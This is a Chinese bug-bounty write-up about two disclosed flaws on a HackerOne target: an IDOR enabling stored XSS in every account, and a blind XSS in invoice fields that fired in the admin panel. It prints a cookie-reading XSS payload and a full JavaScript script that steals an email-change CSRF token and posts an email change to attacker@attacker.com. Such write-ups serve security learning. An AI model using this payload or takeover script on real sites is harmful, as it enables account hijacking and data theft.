记我的一次账号劫持和BLIND XSS漏洞发现过程

大家好,本文我要分享的是我参与Hackerone某邀请项目,通过目标测试网站的高级功能模块(PRO features)实现了更多攻击面测试,并发现了两个严重漏洞,获得了$7000美金的不菲奖励。

第一个漏洞-账号劫持

我发现的第一个漏洞就是不安全对象引用漏洞(IDOR),利用该漏洞我能在每个账户中创建一个 element x元素,经过和朋友的交流,他建议我可以试试在其中注入一些 javascript 脚本,于是我就在某文本区域的 element x 中插入了以下Payload脚本,实现了用XSS方式对账户cookie的读取。

‘%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E

IDOR:不安全的直接对象引用允许攻击者绕过网站的身份验证机制,并通过修改指向对象链接中的参数值来直接访问目标对象资源,这类资源可以是属于其他用户的数据库条目以及服务器系统中的隐私文件等等。导致这种情况出现的原因是,系统在接受用户输入并利用输入信息获取对象之前没有对用户身份权限进行检测。

现在,有了这种IDOR漏洞下的存储型XSS利用路径,而且目标测试网站又没有设置CSP的白名单机制,因此我可以构造一段小脚本,让这段脚本来窃取受害用户的CSRF令牌认证信息(CSRF token),这样可以修改其emailID或以管理员身份把对方添加为好友,间接实现对受害者的账户劫持。

与IDOR漏洞利用相同, javascript 脚本可以在所有账户中实现远程存储,然后通过构造运行,实现对所有目标网站注册账户的劫持,这就是XSS和IDOR漏洞的结合威力。我最终的 javascript Payload利用脚本如下:

function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();
var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);
}
}
fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();
}
stealEmailToken();
function hack(emailToken)
{
var HackAccount = new XMLHttpRequest();
url= "https://--domain--/--path--/personal/update_email.html";
HackAccount .open("POST",url, true);
HackAccount .withCredentials=true;
var
 data= 
'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken
 ;
HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');
HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);
}

这个脚本中,我能从…personal/update_email.html的账户页面中读取 input 元素的 csrf token ,然后利用 hack() 函数来把这个窃取来的 csrf token发送一个更改用户email ID的POST请求,最终实现账户劫持。上报这个漏洞之后,厂商团队马上就进行了修复,之后,我也获得了奖励的$3500赏金。

第二个漏洞 - BLIND XSS

由于目标测试网站开通有付费版的专业高级功能模块,所以我决定付钱来购买进行测试。这个购买付费方式有两种,也即信用卡和银行转账。在银行转账方式中,会生成一个电子发票并能按照用户在记账时输入的姓名邮箱地址等信息,以电邮方式发送到用户邮箱中。

因此,在pdf电子发票的生成过程中,我可以尝试着在其中注入一些html元素来看看是否能间接执行脚本,但是,这种方式是行不通的。

之后,我就在其中插入了一个利用 XSSHunter 生成的 BLIND XSS Payload,一切就静等上钩吧。几天之后,我无意间浏览了我的XSSHunter账户,出乎意料地发现,那段插入的BLIND XSS Payload竟然在目标测试网站的控制面板管理区域被成功触发了!

XSS Payload成功执行的同时,也一起生成了pdf的电子发票,也就是在这种电子发票自动生成过程中,系统未对输入作安全过滤,导致可以执行XSS Payload。通过这种测试方式,我能查看到将近1000多名顾客的电子发票记录和信息。以下显示的是姓名和地址字段的XSS触发信息:

上报了这个漏洞之后,我又获得了厂商团队 $3500 美金的奖励。

*参考来源:witcoat,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-06-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏python学习之旅

Python+Selenium笔记(二):配置谷歌+IE环境

#有的时候可能要访问外国的网站下载资料或工具,这时可能出现各种问题,例如谷歌人机验证显示不了、网站打不开等,建议使用一个FQ软件 下载免费版的就行了,土豪请随...

46211
来自专栏魏艾斯博客www.vpsss.net

解决 Memcached telnet:connect to address 127.0.0.1:Connection refused

有一次魏艾斯博客重启了一下服务器,然后就发现打开网站速度没有之前快了,按照MemcacheD 缓存是否启用成功及命中率检查的办法建立了 phpinfo 文件,检...

8111
来自专栏北京马哥教育

Windows10+Ubuntu双系统安装

最近因为毕设重新回归Ubuntu,手头有一台装了Win10的ThinkPad X240s,最终成功完成了Windows 10 教育版和Ubuntu Kylin ...

8056
来自专栏编程

年底总结一下Python WEB最好用的几个框架,让你有一个系统的了解

2017年就要过完了,我们来总结一下2017年最好用的17个Python Web框架 群内不定时分享干货,包括2017最新的python企业案例学习资料和零基础...

8648
来自专栏Golang语言社区

Golang之chan/goroutine

最近在team内部培训golang,目标是看看golang能否被C工程师快速掌握。我定了个一个月,共计20小时的培训计划,首先花10个小时(两周,每天1小时)让...

3827
来自专栏walterlv - 吕毅的博客

PasswordVault —— 在 UWP 应用中安全地保存密码

2018-06-15 13:43

1023
来自专栏听雨堂

Apache+wsgi+flask部署

flask自带的web server是开发用途,并不适用与发布,需要借助专业的web服务器。 配置的坑无数,Apache部署,403禁止,莫名其妙无法访问,50...

3879
来自专栏FreeBuf

如何设置自己的Dionaea蜜罐来收集恶意软件样本

许多安全人员都热衷于恶意软件的逆向工程。在本文中我将教大家设置一个自己的Dionaea蜜罐,来协助我们恶意软件样本的收集工作。

1534
来自专栏FreeBuf

聊一聊万恶的锁首

当手持8倍镜的98K都不能在使用程序时干掉万恶的锁首时,内心是十万头羊驼奔跑的场景,那我们就来聊一聊市面上常见的锁首方式。 ① :设置OpenHomePage、...

2207
来自专栏黑泽君的专栏

day70_淘淘商城项目_03_作业

请求URL: /item/update 参数: 表单数据(TbItem) 返回值:Taotaoresult

1312

扫码关注云+社区

领取腾讯云代金券